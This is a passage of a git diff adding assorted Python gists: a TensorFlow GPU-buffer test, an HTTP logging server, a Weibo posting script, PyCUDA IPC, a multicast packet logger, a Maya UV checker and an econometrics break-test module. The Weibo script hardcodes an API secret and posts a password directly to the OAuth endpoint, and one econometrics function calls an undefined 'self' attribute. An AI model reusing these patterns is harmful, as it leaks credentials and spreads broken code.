+    'seg_len': 4000,
+}
+
+kernel_shape = [64, 8, 100]
+
+graph = tf.Graph()
+sess = tf.Session(config=tf.ConfigProto(log_device_placement=False), graph=graph)
+verbose = False
+
+target_dev = '/gpu:0'
+
+with graph.as_default(), tf.device('/cpu:0'):
+
+    # Variables
+    with tf.device(target_dev):
+        var_buffer_out = tf.Variable([[0]], validate_shape=False, dtype=tf.float32, trainable=False)
+        var_buffer_in = tf.Variable([0], validate_shape=False, dtype=tf.float32, trainable=False)
+
+
+    data_in = tf.placeholder(dtype=tf.float32, shape=[None, params['seg_len'], kernel_shape[1]])
+
+    queue = tf.FIFOQueue(shapes=[[params['seg_len'], kernel_shape[1]]],
+        dtypes=[tf.float32],
+        capacity=2*params['batch_size'],
+    )
+
+    enqueue_op = queue.enqueue_many([data_in])
+    dequeued_data_in = queue.dequeue_many(params['batch_size'])
+
+    with tf.device(target_dev):
+        move_buffer = tf.assign(var_buffer_out, var_buffer_in, validate_shape=False)
+
+        put_in_buffer = tf.assign(var_buffer_in, dequeued_data_in, validate_shape=False)
+
+        get_from_buffer = tf.identity(var_buffer_out)
+
+        with tf.variable_scope("conv1"):
+            Wz = tf.get_variable("Wz", initializer=np.zeros(kernel_shape, dtype=np.float32)+0.00001)
+            Z = tf.nn.conv1d(get_from_buffer, Wz, 1, 'SAME')
+            test_out = (tf.reduce_mean(Z) * 0) + tf.reduce_mean(get_from_buffer)
+            if verbose:
+                with tf.device('/cpu:0'):
+                    test_out = tf.Print(test_out, [put_in_buffer, move_buffer, test_out], '[BUF_IN][BUF_OUT][RESULT]:')
+
+    with tf.control_dependencies([move_buffer]):
+        pull = tf.group(put_in_buffer, test_out)
+
+
+    def runThread(sess, coord):
+        i=0
+        while not coord.should_stop():
+            sess.run(enqueue_op, feed_dict={
+                data_in: np.zeros([params['batch_size'], params['seg_len'], kernel_shape[1]], dtype=np.float32)+i
+            })
+            i += 1
+
+    sess.run(tf.global_variables_initializer())
+    coord = tf.train.Coordinator()
+    threads = tf.train.start_queue_runners(sess=sess, coord=coord)
+
+    threads = []
+    for n in range(1):
+        t = threading.Thread(target=runThread, args=(sess, coord))
+        t.daemon = True
+        t.start()
+        threads.append(t)
+
+    # Put something in the input-buffer on the GPU.
+    sess.run([put_in_buffer])
+    # Move to the output-side of the buffer on the GPU.
+    sess.run([move_buffer])
+
+    # Now pull th
+    for i in range(20):
+        sess.run([pull])
+
+    print('Running a trace..')
+    time.sleep(5)  # Give the queue fetcher some time
+    run_metadata = tf.RunMetadata()
+    sess.run([pull],
+        options=tf.RunOptions(trace_level=tf.RunOptions.FULL_TRACE),
+        run_metadata=run_metadata
+    )
+    trace = timeline.Timeline(step_stats=run_metadata.step_stats)
+    trace_file = open('timeline.ctf.json', 'w')
+    trace_file.write(trace.generate_chrome_trace_format())
+    exit() # Trace seems clog thing up?
+    # Wrap up
+    coord.request_stop()
+    coord.join(threads)
+    sess.close()
\ No newline at end of file
diff --git a/hard-gists/63e115cc0c79b4f6b8b3a6b797e485c7/._snippet.py b/hard-gists/63e115cc0c79b4f6b8b3a6b797e485c7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/63e115cc0c79b4f6b8b3a6b797e485c7/._snippet.py differ
diff --git a/hard-gists/63e115cc0c79b4f6b8b3a6b797e485c7/snippet.py b/hard-gists/63e115cc0c79b4f6b8b3a6b797e485c7/snippet.py
new file mode 100644
index 00000000..f0923d9e
--- /dev/null
+++ b/hard-gists/63e115cc0c79b4f6b8b3a6b797e485c7/snippet.py
@@ -0,0 +1,48 @@
+#!/usr/bin/env python3
+"""
+Very simple HTTP server in python for logging requests
+Usage::
+    ./server.py [<port>]
+"""
+from http.server import BaseHTTPRequestHandler, HTTPServer
+import logging
+
+class S(BaseHTTPRequestHandler):
+    def _set_response(self):
+        self.send_response(200)
+        self.send_header('Content-type', 'text/html')
+        self.end_headers()
+
+    def do_GET(self):
+        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
+        self._set_response()
+        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))
+
+    def do_POST(self):
+        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
+        post_data = self.rfile.read(content_length) # <--- Gets the data itself
+        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
+                str(self.path), str(self.headers), post_data.decode('utf-8'))
+
+        self._set_response()
+        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
+
+def run(server_class=HTTPServer, handler_class=S, port=8080):
+    logging.basicConfig(level=logging.INFO)
+    server_address = ('', port)
+    httpd = server_class(server_address, handler_class)
+    logging.info('Starting httpd...\n')
+    try:
+        httpd.serve_forever()
+    except KeyboardInterrupt:
+        pass
+    httpd.server_close()
+    logging.info('Stopping httpd...\n')
+
+if __name__ == '__main__':
+    from sys import argv
+
+    if len(argv) == 2:
+        run(port=int(argv[1]))
+    else:
+        run()
diff --git a/hard-gists/6404683/._snippet.py b/hard-gists/6404683/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6404683/._snippet.py differ
diff --git a/hard-gists/6404683/Dockerfile-llm-3.8 b/hard-gists/6404683/Dockerfile-llm-3.8
new file mode 100644
index 00000000..256758b3
--- /dev/null
+++ b/hard-gists/6404683/Dockerfile-llm-3.8
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","weibo==0.2.2"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/6404683/modules/snippet_3.8.txt b/hard-gists/6404683/modules/snippet_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/6404683/modules/weibo_3.8.txt b/hard-gists/6404683/modules/weibo_3.8.txt
new file mode 100644
index 00000000..9c470a36
--- /dev/null
+++ b/hard-gists/6404683/modules/weibo_3.8.txt
@@ -0,0 +1 @@
+0.1.0, 0.1.1, 0.1.2, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.2.0, 0.2.1, 0.2.2
\ No newline at end of file
diff --git a/hard-gists/6404683/snippet.py b/hard-gists/6404683/snippet.py
new file mode 100644
index 00000000..ce815639
--- /dev/null
+++ b/hard-gists/6404683/snippet.py
@@ -0,0 +1,95 @@
+#! /usr/bin/env python2
+# -*- coding: utf-8 -*-
+from weibo import APIClient
+import urllib
+import requests 
+
+# 个人信息
+__author__  = 'GentlemanMod'
+__email__   = 'GentlemanMod@gmail.com'
+__version__ = 'v1'
+
+# 开启调试输出(0 or 1)
+debug = 0
+
+# 构造headers信息
+user_agent = (
+  'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) '
+  'Chrome/20.0.1132.57 Safari/536.11'
+)
+session = requests.session()
+session.headers['User-Agent'] = user_agent
+session.headers['Host'] = 'api.weibo.com'
+
+# 设置全局变量
+global api_key, api_secret, callback_url, userid, password
+api_key = '3495549134'
+api_secret = '514f3edcb22f31f58cf71144174d5d5f'
+callback_url = 'http://gentlemanmod.cnblos.com'
+userid = 'xxxxxx@xxxxx.com'
+password = 'xxxxxxxxxxxxx'
+
+# 初始化API client
+global client, referer_url
+client =  APIClient(app_key=api_key, app_secret=api_secret, redirect_uri=callback_url)
+referer_url = client.get_authorize_url()
+if debug: print 'referer_url: %s' % referer_url
+
+# 获取回调地址的code
+def get_code():
+  # 构造post数据
+  data = {
+    'client_id': api_key,
+    'redirect_uri': callback_url,
+    'userId': userid,
+    'passwd': password,
+    'isLoginSina': '0',
+    'action': 'submit',
+    'response_type': 'code'
+  }
+
+  session.headers['Referer'] = referer_url
+
+  # post数据到渣浪服务器
+  resp = session.post(
+    url = 'https://api.weibo.com/oauth2/authorize',
+    data = data
+  )
+  
+  if debug: print 'get url: %s' % resp.url
+  if debug: print 'code is: %s' % resp.url[-32:]
+  
+  # 截取回调url中的code
+  code = resp.url[-32:]
+  return code
+
+
+# 发文字微博
+def weibo_text(text):
+  # post构造的数据获取code
+  code = get_code()
+
+  # 获取渣浪授权令牌和期限
+  token = client.request_access_token(code)
+  client.set_access_token(token.access_token, token.expires_in)
+
+  # 发微博
+  client.statuses.update.post(status=text)
+
+# 发图片微博
+def weibo_pic(text, picture):
+  # post构造的数据获取code
+  code = get_code()
+
+  # 获取渣浪授权令牌的期限
+  token = client.request_access_token(code)
+  client.set_access_token(token.access_token, token.expires_in)
+
+  # 发图片微博
+  Pic = open(picture, 'rb')
+  client.statuses.upload.post(status=text, pic=Pic)
+  Pic.close()
+
+if __name__ == '__main__':
+  weibo_text('测试发布文字微博')
+  weibo_pic('测试发布图片微博', '/home/michellgaby/img/mugi.jpg')
\ No newline at end of file
diff --git a/hard-gists/6408165/._snippet.py b/hard-gists/6408165/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6408165/._snippet.py differ
diff --git a/hard-gists/6408165/snippet.py b/hard-gists/6408165/snippet.py
new file mode 100644
index 00000000..71a2dd28
--- /dev/null
+++ b/hard-gists/6408165/snippet.py
@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+
+"""
+Allocate a GPUArray in one process and access it in another process using IPC
+handles.
+"""
+
+import multiprocessing as mp
+import numpy as np
+import zmq
+
+import pycuda.driver as drv
+import pycuda.gpuarray as gpuarray
+
+def proc1():
+    sock = zmq.Context().socket(zmq.REQ)
+    sock.connect('tcp://localhost:5000')
+
+    drv.init()
+    dev = drv.Device(0)
+    ctx = dev.make_context()
+
+    x_gpu = gpuarray.to_gpu(np.random.rand(8))
+    h = drv.mem_get_ipc_handle(x_gpu.ptr)
+    sock.send_pyobj((x_gpu.shape, x_gpu.dtype, h))
+    sock.recv_pyobj()
+
+    ctx.detach()
+
+def proc2():
+    sock = zmq.Context().socket(zmq.REP)
+    sock.bind('tcp://*:5000')
+
+    drv.init()
+    dev = drv.Device(0)
+    ctx = dev.make_context()
+
+    shape, dtype, h = sock.recv_pyobj()
+    sock.send_pyobj('')
+
+    x_gpu = gpuarray.GPUArray(shape, dtype, gpudata=drv.IPCMemoryHandle(h))
+    print x_gpu
+
+    ctx.detach()
+    
+if __name__ == '__main__':
+    p1 = mp.Process(target=proc1)
+    p2 = mp.Process(target=proc2)
+
+    p1.start()
+    p2.start()
diff --git a/hard-gists/6414599/._snippet.py b/hard-gists/6414599/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6414599/._snippet.py differ
diff --git a/hard-gists/6414599/snippet.py b/hard-gists/6414599/snippet.py
new file mode 100644
index 00000000..bdb054aa
--- /dev/null
+++ b/hard-gists/6414599/snippet.py
@@ -0,0 +1,85 @@
+# imageCongaLine.py
+# A Conga line formed out of .png images inside Pythonista.app
+
+import os, scene
+
+imageWidth = 32
+
+#print(os.getcwd())
+os.chdir('../Pythonista.app')  # Look at files inside the app
+#print(os.listdir('.'))
+
+# print out all the .py files inside Pythonista.app
+#fileExtension = '.py'  # '.txt'
+#for fileName in os.listdir('.'):
+#    if fileName.endswith(fileExtension):
+#        print(fileName + '\n' + '=' * len(fileName))
+#        with open(fileName) as fileHandle:
+#            print(fileHandle.read() + '\n')
+#sys.exit()
+
+def getImageFunction():
+    for fileName in os.listdir('.'):
+        if fileName.endswith('@2x.png'):
+            yield fileName
+getImageName = getImageFunction()
+
+class MovingImage(scene.Layer):
+    def __init__(self, inImageName):
+        theRect = scene.Rect(0, 0, imageWidth, imageWidth)
+        scene.Layer.__init__(self, theRect)
+        self.dx = self.dy = 2  # Initial direction: upperRight
+        self.image = scene.load_image_file(inImageName)
+
+    def move(self):
+        self.frame.x += self.dx
+        self.frame.y += self.dy
+        sup = self.superlayer.frame
+        if self.frame.x <= sup.x or (
+           self.frame.x + self.frame.w >= sup.x + sup.w):
+            self.dx = -self.dx           # change x direction
+            self.frame.x += self.dx * 2  #  with a little hop
+        if self.frame.y <= sup.y or (
+           self.frame.y + self.frame.h >= sup.y + sup.h):
+            self.dy = -self.dy           # change y direction
+            self.frame.y += self.dy * 2  #  with a little hop
+
+    def drop(self):
+        self.dx = 0
+        self.dy = -.5
+
+class MyScene(scene.Scene):
+    def setup(self):
+        self.frameCount = 0
+
+    def addMovingImage(self, inImageName):
+        self.imageName = inImageName # .strip('@2x.pgn')
+        theLayer = MovingImage(inImageName)
+        theLayer.frame.center(self.bounds.center())
+        theLayer.background = scene.Color(.1, .1, .1)
+        self.add_layer(theLayer)
+    
+    def draw(self):
+        if not self.frameCount % (imageWidth / 2):
+            try:
+                self.addMovingImage(getImageName.next())
+            except StopIteration:
+                self.imageName = None
+                #for theLayer in self.root_layer.sublayers:
+                #    if isinstance(theLayer, MovingImage):
+                #        theLayer.drop()
+        self.frameCount += 1
+        scene.background(0, 0, 0)
+        if self.imageName:
+            scene.text(self.imageName, alignment=9)
+        self.root_layer.update(self.dt)
+        self.root_layer.draw()
+        for theLayer in self.root_layer.sublayers:
+            if isinstance(theLayer, MovingImage):
+                theLayer.move()
+
+    def touch_began(self, touch):  pass
+    def touch_moved(self, touch):  pass
+    def touch_ended(self, touch):  pass
+
+scene.run(MyScene())
diff --git a/hard-gists/641dc6b15155e600135d/._snippet.py b/hard-gists/641dc6b15155e600135d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/641dc6b15155e600135d/._snippet.py differ
diff --git a/hard-gists/641dc6b15155e600135d/snippet.py b/hard-gists/641dc6b15155e600135d/snippet.py
new file mode 100644
index 00000000..7cb38c4d
--- /dev/null
+++ b/hard-gists/641dc6b15155e600135d/snippet.py
@@ -0,0 +1,80 @@
+#!/usr/bin/env python
+"""
+Logging part of a multicast group scanner.
+
+Needs to be run with capabilities allowing it to read
+raw data from the network interface. (usually root)
+
+Author: Lasse Karstensen <lasse.karstensen@gmail.com>, April 2013.
+"""
+import sys
+import socket
+import pcapy
+import impacket
+import datetime
+from impacket.ImpactDecoder import EthDecoder, UDPDecoder, IPDecoder
+from time import time
+from pprint import pprint
+
+INTERFACE = "eth0"
+REPORT_EVERY = 4  # seconds
+
+# List of dst-ports that pcap should filter out for us.
+SKIPLIST = [
+    67,
+    137,
+    138,
+    5353,  # mdns
+    5355,
+    9875,  # SAP announcements
+    17500,
+    57621,
+]
+
+bintime = time()
+state = {}
+
+def print_report():
+    global state
+    now = datetime.datetime.now().isoformat()
+    for k, v in state.items():
+        if v > 1e3:
+            print "%s\t%s\t%i" % (now, k, v)
+    sys.stdout.flush()
+
+def recv_packet(hdr, data):
+    global bintime
+    global state
+
+    frame = EthDecoder().decode(data)
+    ip = frame.child()
+    udp = ip.child()
+    key = ip.get_ip_dst() + "__%s" % udp.get_uh_dport()
+
+    try:
+        state[key] += ip.get_ip_len()
+    except KeyError:
+        state[key] = ip.get_ip_len()
+
+    now = time()
+    if (bintime + REPORT_EVERY) < now:
+        bintime = now
+        print_report()
+        state = {}
+
+
+def main():
+    if 1:
+        s = pcapy.open_live(INTERFACE, 1500, True, 10)
+    else:
+        s = pcapy.open_offline("mcast.pcap")
+
+    pcapfilter = "ip proto \udp and multicast"
+    for p in SKIPLIST:
+        pcapfilter += " and port not %i" % p
+
+    s.setfilter(pcapfilter)
+    s.loop(-1, recv_packet)
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/642535b8baeaedb02a56/._snippet.py b/hard-gists/642535b8baeaedb02a56/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/642535b8baeaedb02a56/._snippet.py differ
diff --git a/hard-gists/642535b8baeaedb02a56/snippet.py b/hard-gists/642535b8baeaedb02a56/snippet.py
new file mode 100644
index 00000000..7097bd6e
--- /dev/null
+++ b/hard-gists/642535b8baeaedb02a56/snippet.py
@@ -0,0 +1,216 @@
+import math
+import maya.api.OpenMaya as om
+from pymel.core import *
+from pymel.core.datatypes import *
+
+def createBoundingCircle(meshfn):
+	"""Parameter: meshfn - MFnMesh
+	Represent a face by a center and radius, i.e.
+	center = [center1u, center1v, center2u, center2v, ... ]
+	radius = [radius1, radius2,  ... ]
+	
+	return (center, radius)"""
+	center = []
+	radius = []
+	for i in xrange(meshfn.numPolygons):
+		# get uvs from face
+		uarray = []
+		varray = []
+		for j in range(len(meshfn.getPolygonVertices(i))):
+			uv = meshfn.getPolygonUV(i, j)
+			uarray.append(uv[0])
+			varray.append(uv[1])
+		
+		# loop through all vertices to construct edges/rays
+		cu = 0.0
+		cv = 0.0
+		for j in range(len(uarray)):
+			cu += uarray[j]
+			cv += varray[j]
+		
+		cu /= len(uarray)
+		cv /= len(varray)
+		rsqr = 0.0
+		for j in range(len(varray)):
+			du = uarray[j] - cu
+			dv = varray[j] - cv
+			dsqr = du * du + dv * dv
+			rsqr = dsqr if dsqr > rsqr else rsqr
+			
+		center.append(cu)
+		center.append(cv)
+		radius.append(math.sqrt(rsqr))
+		
+	return center, radius
+
+def createRayGivenFace(meshfn, faceId):
+	"""Represent a face by a series of edges(rays), i.e.
+	orig = [orig1u, orig1v, orig2u, orig2v, ... ]
+	vec  = [vec1u,  vec1v,  vec2u,  vec2v,  ... ]
+	
+	return false if no valid uv's.
+	return (true, orig, vec) or (false, None, None)"""
+	orig = []
+	vec = []
+	# get uvs
+	uarray = []
+	varray = []
+	for i in range(len(meshfn.getPolygonVertices(faceId))):
+		uv = meshfn.getPolygonUV(faceId, i)
+		uarray.append(uv[0])
+		varray.append(uv[1])
+	
+	if len(uarray) == 0 or len(varray) == 0:
+		return (False, None, None)
+	
+	# loop throught all vertices to construct edges/rays
+	u = uarray[-1]
+	v = varray[-1]
+	for i in xrange(len(uarray)):
+		orig.append(uarray[i])
+		orig.append(varray[i])
+		vec.append(u - uarray[i])
+		vec.append(v - varray[i])
+		u = uarray[i]
+		v = varray[i]
+	
+	return (True, orig, vec)
+
+def area(orig):
+	sum = 0.0
+	num = len(orig)/2
+	for i in xrange(num):
+		idx = 2 * i
+		idy = (i + 1) % num
+		idy = 2 * idy + 1
+		idy2 = (i + num - 1) % num
+		idy2 = 2 * idy2 + 1
+		sum += orig[idx] * (orig[idy] - orig[idy2])
+	
+	return math.fabs(sum) * 0.5
+
+def checkCrossingEdges(face1Orig, face1Vec, face2Orig, face2Vec):
+	"""Check if there are crossing edges between two faces. Return true 
+	if there are crossing edges and false otherwise. A face is represented
+	by a series of edges(rays), i.e. 
+	faceOrig[] = [orig1u, orig1v, orig2u, orig2v, ... ]
+	faceVec[]  = [vec1u,  vec1v,  vec2u,  vec2v,  ... ]"""
+	face1Size = len(face1Orig)
+	face2Size = len(face2Orig)
+	for i in xrange(0, face1Size, 2):
+		o1x = face1Orig[i]
+		o1y = face1Orig[i+1]
+		v1x = face1Vec[i]
+		v1y = face1Vec[i+1]
+		n1x = v1y
+		n1y = -v1x
+		for j in xrange(0, face2Size, 2):
+			# Given ray1(O1, V1) and ray2(O2, V2)
+			# Normal of ray1 is (V1.y, V1.x)
+			o2x = face2Orig[j]
+			o2y = face2Orig[j+1]
+			v2x = face2Vec[j]
+			v2y = face2Vec[j+1]
+			n2x = v2y
+			n2y = -v2x
+			
+			# Find t for ray2
+			# t = [(o1x-o2x)n1x + (o1y-o2y)n1y] / (v2x * n1x + v2y * n1y)
+			denum = v2x * n1x + v2y * n1y
+			# Edges are parallel if denum is close to 0.
+			if math.fabs(denum) < 0.000001: continue
+			t2 = ((o1x-o2x)* n1x + (o1y-o2y) * n1y) / denum
+			if (t2 < 0.00001 or t2 > 0.99999): continue
+			
+			# Find t for ray1
+			# t = [(o2x-o1x)n2x + (o2y-o1y)n2y] / (v1x * n2x + v1y * n2y)
+			denum = v1x * n2x + v1y * n2y
+			# Edges are parallel if denum is close to 0.
+			if math.fabs(denum) < 0.000001: continue
+			t1 = ((o2x-o1x)* n2x + (o2y-o1y) * n2y) / denum
+			
+			# Edges intersect
+			if (t1 > 0.00001 and t1 < 0.99999): return 1
+		
+	return 0
+
+def getOverlapUVFaces(meshName):
+	"""Return overlapping faces"""
+	faces = []
+	# find polygon mesh node
+	selList = om.MSelectionList()
+	selList.add(meshName)
+	mesh = selList.getDependNode(0)
+	if mesh.apiType() == om.MFn.kTransform:
+		dagPath = selList.getDagPath(0)
+		dagFn = om.MFnDagNode(dagPath)
+		child = dagFn.child(0)
+		if child.apiType() != om.MFn.kMesh:
+			raise Exception("Can't find polygon mesh")
+		mesh = child
+	meshfn = om.MFnMesh(mesh)
+	
+	center, radius = createBoundingCircle(meshfn)
+	for i in xrange(meshfn.numPolygons):
+		rayb1, face1Orig, face1Vec = createRayGivenFace(meshfn, i)
+		if not rayb1: continue
+		cui = center[2*i]
+		cvi = center[2*i+1]
+		ri = radius[i]
+		# Exclude the degenerate face
+		# if(area(face1Orig) < 0.000001) continue;
+		# Loop through face j where j != i
+		for j in range(i+1, meshfn.numPolygons):
+			cuj = center[2*j]
+			cvj = center[2*j+1]
+			rj = radius[j]
+			du = cuj - cui
+			dv = cvj - cvi
+			dsqr = du * du + dv * dv
+			# Quick rejection if bounding circles don't overlap
+			if (dsqr >= (ri + rj) * (ri + rj)): continue
+			
+			rayb2, face2Orig, face2Vec = createRayGivenFace(meshfn, j)
+			if not rayb2: continue
+			# Exclude the degenerate face
+			# if(area(face2Orig) < 0.000001): continue;
+			if checkCrossingEdges(face1Orig, face1Vec, face2Orig, face2Vec):
+				face1 = '%s.f[%d]' % (meshfn.name(), i)
+				face2 = '%s.f[%d]' % (meshfn.name(), j)
+				if face1 not in faces: faces.append(face1)
+				if face2 not in faces: faces.append(face2)
+	return faces
+   
+overlapFaces = []
+flipped = []
+oStr = ''
+for s in ls( sl=1, fl=1 ):
+	curUV = polyUVSet( s, q=1, cuv=1 )
+	for i, uv in enumerate( polyUVSet( s, q=1, auv=1 ) ) : 
+		polyUVSet( s, cuv=1, uvSet=uv )
+		of = getOverlapUVFaces( str(s) )
+		if of != []: 
+			oStr += s + " has " + str( len( of ) ) + " overlapped faces in uvset " + uv + '\n'
+			overlapFaces.extend( of )
+
+		flf = []
+		for f in ls( PyNode( s ).getShape().f, fl=1 ):
+			uvPos = polyEditUV( [ polyListComponentConversion( vf, fvf=1, toUV=1 )[0] for vf in ls( polyListComponentConversion( f, tvf=1 ), fl=1 ) ], q=1 )
+			uvAB = Vector( [ uvPos[2] - uvPos[0], uvPos[3] - uvPos[1] ] )
+			uvBC = Vector( [ uvPos[4] - uvPos[2], uvPos[5] - uvPos[3] ] )
+			if uvAB.cross( uvBC ) * Vector([0, 0, 1]) <= 0: flf.append( f )
+		if flf != []: 
+			oStr += s + " has " + str( len( flf ) ) + " inverted faces in uvset " + uv + '\n'
+			flipped.extend( flf )
+			
+	polyUVSet( s, cuv=1, uvSet=str( curUV ) )
+	oStr += '\n'
+	
+
+if ( flipped ==[] and overlapFaces == [] ): 
+	oStr = "No problems found!"
+	confirmDialog( button = "Ok", m = oStr, t = "UV check stats" )
+else:
+	res = confirmDialog( button = ['Ok','Flipped','Overlaps'], db='Ok', m = oStr, t = "UV check stats" )
+	if res == 'Flipped': select( flipped, r=1 )
+	if res == 'Overlaps': select( overlapFaces, r=1 )
\ No newline at end of file
diff --git a/hard-gists/6426282/._snippet.py b/hard-gists/6426282/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6426282/._snippet.py differ
diff --git a/hard-gists/6426282/snippet.py b/hard-gists/6426282/snippet.py
new file mode 100644
index 00000000..f500261c
--- /dev/null
+++ b/hard-gists/6426282/snippet.py
@@ -0,0 +1,411 @@
+"""
+Structural Change
+
+References
+----------
+
+Bai, Jushan, and Pierre Perron. 1998.
+"Estimating and Testing Linear Models with Multiple Structural Changes."
+Econometrica 66 (1) (January 1): 47-78.
+
+Bai, Jushan, and Pierre Perron. 2003.
+"Computation and Analysis of Multiple Structural Change Models."
+Journal of Applied Econometrics 18 (1): 1-22.
+"""
+
+from __future__ import division
+import numpy as np
+import pandas as pd
+from statsmodels.regression.linear_model import OLS, OLSResults
+
+
+class InvalidRegimeError(RuntimeError):
+    pass
+
+
+def build_exog(exog, thresholds, threshold_var=None, trim=None):
+        """
+        Build a diagonally partitioned exogenous matrix for estimation of
+        parameters across multiple regimes.
+
+        TODO add date handing, either via dates in the exog matrix or via a
+             dates parameter
+
+        Parameters
+        ----------
+        thresholds : iterable
+            The threshold values separating the data into regimes.
+        threshold_var : array-like, optional
+            The threshold variable. If omitted it is set to be a (zero-indexed)
+            trend: range(nobs)
+        trim : float, optional
+            Optionally specify a trim value to put a lower limit on the number
+            of observations in a regime. If omitted, the number of
+            observations in regimes is not checked.
+
+        Returns
+        -------
+        exog : array-like
+            The exog matrix, horizontally duplicated once each for the number
+            of regimes. Each duplication has the rows for which the model
+            dicatates another regime set to zero.
+        regime_indicators : array
+            Array of which (zero-indexed) regime each observation falls into
+        nobs_regimes : iterable
+            Number of observations in each regime
+        """
+        exog = np.asarray(exog)
+        nobs = exog.shape[0]
+
+        # TODO Is there a better way to test for and fix this? (the problem is
+        #      that if the exog argument is a list, so that exog is 1dim,
+        #      np.concatenate fails to create a matrix, instead just makes a
+        #      long vector)
+        if exog.ndim == 1:
+            exog = exog[:,None]
+
+        if trim is not None:
+            min_regime_nobs = np.floor(nobs * trim)
+        order = len(thresholds) + 1
+
+        if threshold_var is None:
+            threshold_var = range(nobs)
+
+        regime_indicators = np.searchsorted(thresholds, threshold_var)
+
+        exog_list = []
+        nobs_regimes = ()
+        for i in range(order):
+            in_regime = (regime_indicators == i)
+            nobs_regime = in_regime.sum()
+
+            if trim is not None and nobs_regime < self.min_regime_num:
+                raise InvalidRegimeError('Regime %d has too few observations:'
+                                         ' threshold values may need to be'
+                                         ' adjusted' % i)
+
+            exog_list.append(np.multiply(exog.T, in_regime).T)
+            nobs_regimes += (nobs_regime,)
+
+        exog = np.concatenate(exog_list, 1)
+
+        return exog, regime_indicators, nobs_regimes
+
+def find_breakpoints(endog, exog, nbreaks, trim=0.15):
+    """
+    Find the specified number of breakpoints in a sample.
+
+    TODO add support for partial structural change case
+    TODO add support for dates, and return breakdates as well
+
+    Parameters
+    ----------
+    endog : array-like
+        The endogenous variable.
+    exog : array-like
+        The exogenous matrix.
+    nbreaks : integer
+        The number of breakpoints to select.
+    trim : float or int, optional
+        If a float, the minimum percentage of observations in each regime,
+        if an integer, the minimum number of observations in each regime.
+    
+    Returns
+    -------
+    breakpoints : iterable
+        The (zero-indexed) indices of the breakpoints. The k-th breakpoints is
+        defined to be the last observation in the (k-1)th regime.
+    ssr : float
+        The sum of squared residuals from the model with the selected breaks.
+    """
+    nobs = len(endog)
+    if trim < 1:
+        trim = int(np.floor(nobs*trim))
+
+    if nobs < 2*trim:
+        raise InvalidRegimeError
+
+    # TODO add test to make sure trim is consistent with the number of breaks
+
+    # This is how many calculations will be performed
+    ncalcs = (
+        ( nobs * (nobs + 1) / 2 ) -
+        ( (trim-1)*nobs - (trim-2)*(trim-1)/2 ) -
+        ( (trim**2)*nbreaks*(nbreaks+1)/2 ) -
+        ( nobs*(trim-1) - nbreaks*trim*(trim-1) -
+          (trim-1)**2 - trim*(trim-1)/2 )
+    )
+    # Estimate the sum of squared errors for each possible segment
+    # TODO Important - change this to compute via recursive OLS, will
+    #      be much faster!
+    results = {}
+    for i in range(nobs):
+        for j in range(i, nobs):
+            length = j - i + 1
+            # Current segment too small
+            if length < trim:
+                continue
+            # First segment too small
+            if i > 0 and i < trim:
+                continue
+            # Not enough room for other segments
+            if (i // trim) + ((nobs - j - 1) // trim) < nbreaks:
+                continue
+            
+            res = OLS(endog[i:j+1], exog[i:j+1]).fit()
+
+            # Change from zero-index to one-index
+            results[(i+1,j+1)] = res.ssr
+    assert(len(results) == ncalcs)
+
+    # Dynamic Programming approach to select global minimia
+    optimal = []
+    for nbreak in range(1, nbreaks):
+        optimal.append({})
+        for end in range((nbreak+1)*trim, nobs-(nbreaks-nbreak)*trim+1):
+            min_ssr = np.Inf
+            optimal_breakpoints = None
+            for breakpoint in range(nbreak*trim, end-trim+1):
+                ssr = optimal[-2][breakpoint][0] if nbreak > 1 else results[(1, breakpoint)]
+                ssr += results[(breakpoint+1, end)]
+                if ssr < min_ssr:
+                    min_ssr = ssr
+                    if nbreak > 1:
+                        optimal_breakpoints = optimal[-2][breakpoint][1] + (breakpoint,)
+                    else:
+                        optimal_breakpoints = (breakpoint,)
+            optimal[-1][end] = (min_ssr, optimal_breakpoints)
+
+    final_breaks = optimal[-1].keys() if nbreaks > 1 else range(trim, nobs-trim)
+
+    min_ssr = np.Inf
+    breakpoints = None
+    for breakpoint in final_breaks:
+        ssr = optimal[-1][breakpoint][0] if nbreaks > 1 else results[(1, breakpoint)]
+        ssr += results[(breakpoint+1, nobs)]
+        if ssr < min_ssr:
+            min_ssr = ssr
+            if nbreaks > 1:
+                breakpoints = optimal[-1][breakpoint][1] + (breakpoint,)
+            else:
+                breakpoints = (breakpoint,)
+
+    # Breakpoints are one-indexed, so change them to be zero-indexed
+    breakpoints = tuple(np.array(breakpoints)-1)
+
+    return breakpoints, min_ssr
+
+def break_test(endog, exog, nbreaks, trim=0.15, vcov=None):
+    """
+    Test that `nbreaks` exists in the sample.
+
+    TODO again, better cache the SSRs
+    TODO add support for p-value calculation (Hansen 1997)
+
+    Parameters
+    ----------
+    endog : array-like
+        The endogenous variable.
+    exog : array-like
+        The exogenous matrix.
+    nbreaks : integer
+        The number of breakpoints in the null hypothesis
+    trim : float or int, optional
+        If a float, the minimum percentage of observations in each regime,
